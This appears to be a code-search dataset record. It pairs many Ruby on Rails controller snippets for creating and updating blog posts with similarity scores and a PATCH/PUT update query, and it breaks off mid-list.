"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: \"Post was successfully created.\" }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, :notice => \"slam\" }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { redirect_to posts_path }\n flash[:alert] = \"shit.\"\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n post\n end",
"def create\n @post = Post.new(content: params[:post][:content], user_id: @user.id)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @user }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { redirect_to @user }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def create\n @post = Post.new(post_params)\n @post.user_id = params[:user_id]\n if @post.save\n render json: @post, meta: { status: :created }, meta_key: 'result', status: :created\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @post = current_user.posts.new(post_params.merge(writter: current_user.name))\n\n if @post.save\n render json: {status: 1, id: @post.id.to_s, notice: \"新增成功,标题是:#{@post.title.capitalize}\", number: @post.number, errors: []}\n else\n render json: {status: -1, notice: \"新增失败,请先登录\", errors: @post.errors.full_messages}\n end\n end",
"def create\n puts \"Trying to Create New Post\"\n # Creates new post with given content tied to given userid\n @post = Post.new(post_params) \n if @post.save\n puts \"Post successfully created\"\n response.status=(201)\n render json: {status: \"Success\", message: [\"Post created!\"]}\n else\n # Error handling\n puts \"Something went wrong while creating new Post\"\n puts(@Post.errors.full_messages)\n response.status=(422)\n render json: { status: \"Error\", message: [@post.errors.full_messages]}\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to list_of_posts_post_path(@post.user), notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n execute(:post, *args)\n end",
"def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end",
"def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n redirect_to posts_path and return unless Mist.authorized?(:create_post, self)\n coerce_date(params[:post], 'published_at')\n @post = Mist::Post.new(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, :notice => 'Post was successfully created.' }\n format.json { render :json => @post, :status => :created, :location => @post }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.build(params[:post])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to new_post_successful_posts_path, notice: 'Anúncio criado com sucesso.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(params[:post])\n @post.user = User.find_by_auth_token!(cookies[:auth_token])\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to posts_path, notice: 'Post was successfully created.' }\n format.json { render json: @post, status: :created, location: @post }\n else\n format.html { render action: \"new\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n redirect_to login_path unless session[:user_id]\n message = 'Post was successfully created.'\n @post = Post.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: message }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = current_user.posts.new(post_params)\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render :show, status: :created, location: @post }\n else\n format.html { render :new }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n format.json { render action: 'show', status: :created, location: @post }\n else\n format.html { render action: 'new' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.74453115",
"0.73224664",
"0.73065",
"0.7123661",
"0.7014955",
"0.7012768",
"0.69840264",
"0.6938563",
"0.69309723",
"0.6905106",
"0.68197066",
"0.68119097",
"0.67928475",
"0.6792773",
"0.67785394",
"0.67785394",
"0.6762736",
"0.6759516",
"0.67510056",
"0.67350024",
"0.66986823",
"0.6694242",
"0.6679357",
"0.66507727",
"0.661762",
"0.6607913",
"0.6576586",
"0.6566928",
"0.6534542",
"0.65245205",
"0.6516953",
"0.65119916",
"0.65119916",
"0.6498843",
"0.648704",
"0.648219",
"0.647903",
"0.6478571",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.64756644",
"0.6451724",
"0.6443117",
"0.6440887",
"0.6438761",
"0.64304584",
"0.6413615",
"0.6401683",
"0.6401094",
"0.63966864",
"0.63951707",
"0.6387734",
"0.6387734",
"0.63795847",
"0.6375628",
"0.6373732",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6370935",
"0.6369107",
"0.63611555",
"0.6351466",
"0.6348891",
"0.6344897",
"0.6312749",
"0.6307845",
"0.63030463",
"0.6300117",
"0.6297244",
"0.62969273",
"0.6294826",
"0.6294681",
"0.6294436",
"0.6288339",
"0.6287679",
"0.62829244",
"0.62818336",
"0.626294"
] | 0.0 | -1 |
PATCH/PUT /posts/1 PATCH/PUT /posts/1.json | def update
respond_to do |format|
if @post.update(post_params)
format.html { redirect_to @post, notice: 'Post was successfully updated.' }
format.json { render :show, status: :ok, location: @post }
else
format.html { render :edit }
format.json { render json: @post.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n render json: Post.update(params[\"id\"], params[\"post\"])\n end",
"def update\n respond_with Post.update(params[:id], params[:posts])\n end",
"def update\n @post = Post.find(params[:id])\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.json { render :json => @post }\n else\n format.json { render :json => @post.errors, :status => :unprocessable_entity}\n end\n end\n #respond_with Post.update(params[:id], params[:post])\n end",
"def update\n respond_with post.update(params[:id], params[:post])\n end",
"def update\n respond_with Post.update(params[:id],post_params)\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(post_params)\n format.json { head :no_content }\n format.xml { head :no_content }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n format.xml { render xml: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update({\n title: post_params[:title],\n content: post_params[:content],\n })\n render json: Post.all.as_json\n else\n render json: {errors: @post.errors.full_messages}, status: :unprocessable_entity\n end\n end",
"def update\n id = Post.find(params[:id])._id\n \n respond_to do |format|\n if ((@post.update_attributes(params[:post])) && (@post._id = id))\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n @post.update_attributes(params[:post])\n format.html { redirect_to posts_url, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n end \n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if @api_v1_post.update(api_v1_post_params)\n format.html { redirect_to @api_v1_post, notice: 'Post was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_post }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to posts_path, notice: 'Post was successfully updated.' }\n format.json { render json: @post }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch!\n request! :patch\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n authenticated\n\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n @api_post = Api::Post.find(params[:id])\n\n if @api_post.update(api_post_params)\n head :no_content\n else\n render json: @api_post.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @post.update(post_params)\n render json: {\n data: @post\n }\n else\n render json: {\n errors: @post.errors\n }\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @api_v2_post = Post.find(params[:id])\n\n respond_to do |format|\n if @api_v2_post.update_attributes(params[:api_v2_post])\n format.html { redirect_to @api_v2_post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @api_v2_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @post\n\n if @post.save\n render json: @post\n else\n render json: @post.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\t@post = post.find(params[:id])\n\t\t@post.update_attributes(post_params)\n\t\trespond_to do |format|\n\t\t\tformat.html {redirect_to post_path(@post)}\n\t\t\tformat.json {render json: @post}\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.json { render :show, status: :ok, location: @post }\n else\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n @title = \"EDIT\"\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, :notice => 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @post.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\t\tif @post.update(post_params)\n\t\t\trender json: @post, status: :success\n\t\telse\n\t\t\trender json: @post.errors, status: :unprocessable_entity #422\n\t\tend\n\tend",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'slam updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n @post.update_attributes(params[:post])\n respond_with(@post)\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: '' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n @user = User.find(params[:user_id])\n @post = @user.posts.find(params[:id])\n\n if @post.update(post_params)\n head :no_content\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n end",
"def update\n title = params[:title]\n body = params[:body]\n\n @post.update!(title: title, body: body)\n\n if @post.save!\n json_response(@post)\n else\n json_response(@post.errors)\n end\n end",
"def update\r\n @post = Post.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @post.update_attributes(params[:post])\r\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @post.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @user = current_user\n @post = @user.posts.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to :action => 'index', notice: 'Post was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if (@post.update(params.permit(:title, :content)))\n render json: @post, status: :ok\n else\n render json: @post.errors, status: 422\n end\n end",
"def update\n @patch = Patch.find(params[:id])\n\n respond_to do |format|\n if @patch.update_attributes(params[:patch])\n format.html { redirect_to @patch, notice: 'Patch was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to post_path, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n #disable edit for now\n redirect_to posts_path\n return\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to @post, notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @post = Post.find(params[:id])\n\n respond_to do |format|\n if @post.update_attributes(params[:post])\n format.html { redirect_to magazine_post_path(@post.short_url), notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\", layout: \"editor\" }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @post.update(post_params)\n render action: \"show.json.jbuilder\"\n else\n render json: @post.errors, status: :unprocessable_entity\n end\n\n end",
"def update\n respond_to do |format|\n if @post.update(post_params)\n format.html { redirect_to post_path(@post), notice: 'Post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\t\n\t\tpost = @current_user.role == \"admin\" ? Post.find_by(id: params[:id]) : @current_user.posts.find_by(id: params[:id]) \n\t\tif post && post.update_attributes(post_params)\n\t\trender json: {success: true, auth_token: @current_user.authentication_token, post_id: post.id, post_desc: post.description}\n\t else\n\t render json: {success: false, message: \"not found or validation failed\"}, status: 422\n\t\tend \n\tend",
